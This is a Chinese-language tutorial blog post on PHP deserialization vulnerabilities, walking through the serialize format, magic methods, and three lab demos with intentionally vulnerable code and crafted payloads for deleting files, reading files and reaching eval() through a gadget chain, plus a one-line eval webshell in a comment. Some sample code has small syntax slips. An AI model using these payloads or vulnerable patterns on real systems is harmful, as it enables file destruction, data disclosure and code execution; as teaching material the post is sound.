PHP反序列化漏洞原理概述-FIRST

PHP反序列化漏洞

1.產生背景

反序列化漏洞第一次衆人皆知在2015年11月6日,最初出現在JAVA語言中,FoxGlove Security安全團隊的Breenmachine發表了一篇博客,裏面詳細闡述了利用JAVA反序列化和Apache Commons Collections類庫實現遠程命令執行的真實案例,之後圍繞着反序列化漏洞事件層出不窮,同時也出現在其他的語言中。

2.序列化與反序列化

在百度百科詞條解釋中,序列化 (Serialization) 是將對象的狀態信息轉換爲可以存儲或傳輸的形式的過程。在序列化期間,對象將其當前狀態寫入到臨時或持久性存儲區。以後,可以通過從存儲區中讀取或反序列化對象的狀態,重新創建該對象。

反序列化(Unserialization) 是與序列化的反過程,是將存儲區的序列化的對象信息,文本結構,轉換爲原來的變量。

  • 意義:序列化與反序列化可以輕鬆的存儲和傳輸數據,我們可以把對象序列化爲不同的格式,JSON、XML、二進制、SOAP等,不同的格式是爲了適應不同的業務需求
  • 什麼時候使用序列化?
    1.將內存中的類寫入文件或者數據庫中
    2.遞歸保存對象引用的每個對象數據
    3.分佈式對象
    4.統一對文件、對象、數據保存和傳輸

3.PHP的序列化與反序列化

  • PHP序列化函數爲Serialize,將對象轉換爲字符串保存對象的變量及變量值。

  • PHP的反序列化函數爲unserialize,將序列化後的字符串轉換爲對象。

先看一個簡單的PHP代碼

//1.php
<?php
	class student //創建一個student類
	{
		public $name=''; //定義公有變量
		public $age=''; //定義公有變量
		public function talk() //定義公有函數
		{
			echo 'I am '.$this->name.', '.$this->age.' years old !</br>';
		}
	}
	$pr=new student(); //創建對象
	$pr->name='BYF'; //對象賦初值
	$pr->age='20'; //對象賦初值
	$pr->talk(); //調用公有函數
?>

執行結果
在這裏插入圖片描述

(1).序列化操作

將對象進行序列化操作,輸出

//1.php+
$ser=serialize($pr);
echo $ser;

在這裏插入圖片描述

O:7:"student":2:{s:4:"name";s:3:"BYF";s:3:"age";s:2:"20";}

如上所示爲PHP序列化函數,將對象序列化後的形成的字符串

序列化字符串解析:

  • O: 對象標識
  • 7: 表示該對象的字符串長度
  • student: 對象
  • 2:{} : 表示該對象有兩個變量,在{}中定義。
  • s: 第一個變量名標識
  • 4: 第一個變量名字符串長度
  • name: 第一個變量名
  • s: 第一個變量標識
  • 3: 第一個變量字符串長度
  • BYF: 第一個變量的值
  • s: 第二個變量名標識
  • 3: 第二個變量名字符串長度
  • age: 第二個變量名
  • s: 第二個變量標識
  • 2: 第二個變量字符串長度
  • 20: 第二個變量的值

(2).反序列化操作

注:在反序列化操作中可以重新定義變量的值

//1.php++
	$unser=unserialize($ser); //將序列化後形成的字符串發序列化
	$unser->name='bianyufei'; //反序列化時可進行重新賦值操作
	$unser->talk(); //調用公有函數

反序列化結果
在這裏插入圖片描述

4.PHP的魔法函數(析構函數)

PHP中有一些函數可以在腳本的任何地方執行,且不需要聲明就可以調用,但是存在觸發條件,這類函數就被稱爲PHP 魔法函數

下面是與PHP序列化(反序列化)有關的魔法函數。

__construct() 當一個對象創建時被調用
__destruct() 當對象被銷燬時觸發
__wakeup() 當使用unserialize函數時被觸發
__sleep() 當使用serialize函數時被觸發
__toString() 把類當做字符串使用時觸發
__call() 在對象上下文中調用不可訪問的方法時觸發
__callStatic() 在靜態上下文中調用不可訪問的方法時觸發
__get() 用於從不可訪問的屬性讀取數據
__set() 用於將數據寫入不可訪問的屬性
__isset() 在不可訪問的屬性上調用isset()或者empty()觸發
__unset() 在不可訪問的屬性上使用unset()時觸發
__invoke() 當腳本嘗試將對象調用爲函數時觸發

由於序列化不會傳遞函數中定義的操作,只傳值,所以在自定義函數無法利用。

但是魔法函數是可以自動執行的,當類中定義了魔法函數時,且對象中存在觸發條件,我們就有機可乘。

5.反序列化漏洞

PHP反序列化漏洞,是我們在使用unserialize()函數進行反序列化時,當反序列化對象中存在一些我們可以利用魔法函數,且傳入的變量是可控的,那麼就可能觸發這個魔法函數,來執行我們想要的過程。

(1).原理demo

__destruct()函數: 在對象被銷燬時執行該函數

//原理demo
<?php
class demo
{
    	public $a='demo';
     	function  __destruct()
      {
      echo $this->a;
      echo '</br>';
     	}
}
$ob= new demo();
echo serialize($ob).'</br>';
$test= $_GET['id']; 
unserialize($test);
?>        
  • payload
    demo通過GET方式傳值
http://10.102.51.143/demo.php?id=O:4:"demo":1:{s:1:"a";s:4:"1234";}

在這裏插入圖片描述
我們可以看到當,創建對象之後,沒有調用該__destruct()函數,該函數也自動執行,也就是serialize()函數和unserialize()函數銷燬了對象,觸發了魔法函數的執行。

(2).demo1-刪除

unlink() 函數: 刪除文件,若成功,則返回 true,失敗則返回 false。
dirname() 函數: 返回路徑中的目錄部分
dirname(__FILE__)函數:表示當前文件絕對路徑

//2.php
<?php
class delete
{
	public $filename='error';
	function __destruct()
	{
		echo $this->filename." was deleted.</br>" 
		//UPLINK函數是刪除文件,dirname函數輸出路徑
		unlink(dirname(__FILE__).'/'.$this->filename);
	}
}
?>

3.php中包含了2.php,當unserialize()函數執行時,觸發了2.php中的 __destruct() 函數,執行了刪除文件的操作。

//3.php
<?php
include '2.php'
class student
{
	public $name='';
	public $age='';
	public function information()
	{
		echo 'student:'.$this->name.'is'.$this->age.'years old.</br>';
	}
$zs=unserialize($_GET['id']); 
//$zs變量並不是student類的對象,所以並沒有必要通過GET傳入的值爲兩個變量的形式,只要存在該反序列化操作,就可以觸發2.php中的魔法函數
}
?>

構造payload

//POC.php
<?php
//複製delete類序列化內容
class delete
{
	public $filename='error';
}
$x= new delete(); //創建對象
echo serialize($x).'</br>';
?>

下圖爲POC.php執行後形成的序列化的值
在這裏插入圖片描述
將該值複製後通過GET傳入3.php,通過unserialize()函數銷燬對象觸發了 2.php中的 __destruct()函數中定義的刪除文件的操作。

注: 由於在3.php中,student類爲2個公有變量,且需自定義filename爲要刪除的文件名,在此處可以自己定義修改序列化的值

如下所示
可以自定義要刪除的文件爲muma.txt

O:6:"delete":2:{s:8:"filename";s:8:"muma.txt";}

在這裏插入圖片描述

(3).demo2-讀文件

__toString()函數: 把類當做字符串使用時觸發,也就是使用echo打印對象時觸發該函數。

file_get_contents()函數: 將一個文件讀入一個字符串中

//4.php
<?php
  class read
	{
  	public $filename = 'error';
    function __toString()
    {  
      //file_get_contents()函數是把文件內容賦予一個變量,通過return
      return file_get_contents($this->filename);
    }
	}
?>

5.php中包含了4.php,5.php中unserialize()函數執行後賦給一個變量,當該變量被打印輸出時,觸發了4.php中的 __toString()函數

//5.php
<?php
  include '4.php';
	class student
  {
   public $name='BYF';
   public $age='20';
   public function information()
   {
     echo 'student: '.$this->name.' is '.$this->age.'years old.</br>';
   }
  }
$zs=unserialize($_GET['id']);
echo $zs;
?>

構造payload

//poc2.php
<?php
	class read
	{
		public $filename='error';
	}
$byf=new read();
$byf->filename='hello.txt';
echo serialize($byf);
?>

下圖爲POC2.php執行後形成的序列化的值
在這裏插入圖片描述
將該值複製後通過GET傳入5.php,通過unserialize()函數反序列化後將值重新賦給一個變量,echo打印輸出, 觸發了 4.php中的 __toString()函數 中定義的讀文件的操作。

首先我們先創建一個hello.txt文檔
在這裏插入圖片描述
在這裏插入圖片描述

(4).demo3-普通方法漏洞

調用問題中產生的漏洞eval()爲危險函數,將()內的值做爲命令執行

//6.php <?php @eval($_POST['a']);?> a='phpinfo()'
<?php
	class a
	{
		public $varr;
		function __destruct()
		{
			$this->varr->evaltest();
		}
	}
	class b
	{
		public $str;
		function evaltest()
		{
			eval($this->str); //危險函數
		}
	}
	unserialize($_GET['id']);
?>
//poc3.php
<?php
	class a
	{
		public $varr='new b()';
	}
	class b
	{
		public $str='phpinfo()';
	}
	$x=new a();
	echo serialize($x).'</br>';
	$y=new b();
	echo serialize($y);
?>

poc3.php運行結果如下圖
在這裏插入圖片描述
原理分析
在這裏插入圖片描述
原理分析清楚了,還要進行觸發操作,在poc中定義了unserialize()反序列化函數,可以觸發a類中的 __destruct()函數 ,通過GET傳參。
我們需將poc中序列化後形成的字符串進行變化,將varr定義爲b類的對象

O:1:"a":1:{s:4:"varr";s:7:"new b()";}
O:1:"b":1:{s:3:"str";s:9:"phpinfo()";}

轉化爲

O:1:"a":1:{s:4:"varr";O:1:"b":1:{s:3:"str";s:10:"phpinfo();";};}

通過GET傳遞,得到phpinfo()的執行結果,獲取到了php版本信息
在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章